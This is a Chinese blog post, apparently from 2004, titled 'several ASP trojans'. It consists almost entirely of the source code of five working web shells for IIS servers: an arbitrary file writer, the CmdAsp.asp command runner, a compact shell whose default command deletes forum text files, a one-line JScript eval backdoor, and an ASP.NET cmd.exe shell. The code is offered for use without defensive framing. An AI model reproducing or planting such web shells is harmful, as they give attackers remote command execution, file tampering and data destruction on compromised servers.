导航

几款asp木马

Posted on 2004-12-03 20:10  charcs  阅读(631)  评论(0编辑  收藏  举报
代码:

<% dim objFSO %>
<% dim fdata %>
<% dim objCountFile %>
<% on error resume next %>
<% Set objFSO = Server.CreateObject("Scripting.FileSystemObject") %>
<% if Trim(request("syfdpath"))<>"" then %>
<% fdata = request("cyfddata") %>
<% Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True) %>
<% objCountFile.Write fdata %>
<% if err =0 then %>
<% response.write "<font color=red>save Success!</font>" %>
<% else %>
<% response.write "<font color=red>Save UnSuccess!</font>" %>
<% end if %>
<% err.clear %>
<% end if %>
<% objCountFile.Close %>
<% Set objCountFile=Nothing %>
<% Set objFSO = Nothing %>
<% Response.write "<form action='' method=post>" %>
<% Response.write "保存文件</font>" %>
<% Response.Write "<input type=text name=syfdpath width=32 size=50>" %>
<% Response.Write "<br>" %>
<% Response.write "绝对路径" %>
<% =server.mappath(Request.ServerVariables("SCRIPT_NAME")) %>
<% Response.write "<br>" %>
<% Response.write "输入内容:" %>
<% Response.write "<textarea name=cyfddata cols=80 rows=10 width=32></textarea>" %>
<% Response.write "<input type=submit value=保存>" %>
<% Response.write "</form>" %>


代码:

<%@ Language=VBScript %>
<%
' --------------------o0o--------------------
'  File:    CmdAsp.asp
'  Author:  Maceo <maceo @ dogmile.com>
'  Release: 2000-12-01
'  OS:      Windows 2000, 4.0 NT
  ' -------------------------------------------

Dim oScript
Dim oScriptNet
Dim oFileSys, oFile
Dim szCMD, szTempFile

On Error Resume Next
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet=Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
szCMD = Request.Form(".CMD")
If (szCMD <> "") Then
szTempFile = "C:\" & oFileSys.GetTempName( )
Call oScript.Run ("cmd.exe /c " & szCMD & ">" & szTempFile, 0, True)
Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
End If

%>
<HTML>
<BODY>
<FORM action="<%= Request.ServerVariables("URL") %>" method="POST">
<input type=text name=".CMD" sizeE value="<%= szCMD %>">
<input type=submit value="Run">
</FORM>
<PRE>
<%= "\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
<br>
<%
If (IsObject(oFile)) Then
On Error Resume Next
Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
Call oFileSys.DeleteFile(szTempFile, True)
End If
%>
</BODY>
</HTML>

代码:

<%@codepage=936%><%On Error Resume Next
if Request("ad")<>"" then response.status="401 not Authorized"
Set z=Server.CreateObject("WSCRIPT.SHELL")
T=Server.mappath("lp"&year(date)&Session.SessionID&".txt")
sz=Request("Ck")
If sz=""Then sz="del F:\east\bbs\*.txt"
z.Run "%COMSPEC% /c^"&sz&">"&T,0,True
Response.Write "<FORM method=POST><input type=text name=Ck value='"&sz&"'> <input type=submit value=Run> <input type=reset value=RESET> <input type=submit name=ad title=PasswordWantted value=RunAsAdmin></FORM><br>执行了["&sz&"] ["&T&"]<Iframe src='lp"&year(date)&Session.SessionID&".txt' width=99% height=99% frameborder=0></iframe>"
response.flush
for i=1 to 1800000
ys=9+9
next
z.run "%COMSPEC% /c echo Y│del "&T,1,True
set z=Nothing%>

代码:

<SCRIPT RUNAT=SERVER LANGUAGE=JAVASCRIPT>eval(Request.form('#')+'')</SCRIPT>


代码:

<%@ Page Language="VB" Debug="true" %>
<%@ Import Namespace="system.IO" %>
<%@ import namespace="System.Diagnostics" %>
<script runat="server">
'说明:这是一个执行cmd命令的程序
'环境要求:IIS支持ASP.NET
'######################################################################
'################# cmd.aspx——asp.net shell by lake2 #################
'#################        My E-mail:mrhupo.126.com    #################
'#################          http://mrhupo.126.com     #################
'#################            version 1.3             #################
'######################################################################
Sub RunCmd(Src As Object, E As EventArgs)
    Dim myProcess As New Process()
    Dim myProcessStartInfo As New ProcessStartInfo("cmd.exe")
    myProcessStartInfo.UseShellExecute = False
    myProcessStartInfo.RedirectStandardOutput = true
    myProcess.StartInfo = myProcessStartInfo
    myProcessStartInfo.Arguments="/c " & Cmd.text
    myProcess.Start()
    Dim myStreamReader As StreamReader = myProcess.StandardOutput
    Dim myString As String = myStreamReader.Readtoend()
    myProcess.Close()
    result.text=Cmd.text & vbcrlf & "<pre>" & mystring & "</pre>"
    cmd.text=""
End Sub
</script>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>ASP.NET Shell v1.3 by lake2</title>

</head>
<body>
<form runat="server">
  <asp:TextBox ID="cmd" runat="server" style="border: 1px solid #084B8E"/>
  <asp:Button ID="Button" runat="server" Text="Run" OnClick="runcmd" style="color: #FFFFFF; border: 1px solid #084B8E; background-color: #719BC5"/>  
  <p>
    <asp:Label ID="result" runat="server" style="color: #0000FF"/>      </p>
</form>
</body>
</html>